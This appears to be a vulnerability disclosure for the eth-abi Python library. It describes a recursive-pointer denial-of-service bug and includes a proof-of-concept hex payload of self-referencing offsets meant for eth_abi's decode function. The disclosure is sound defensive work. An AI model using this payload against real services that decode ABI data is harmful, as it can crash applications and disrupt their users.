eth-abi is vulnerable to recursive DoS
📋 Description
This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue
from eth_abi import decode
payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"
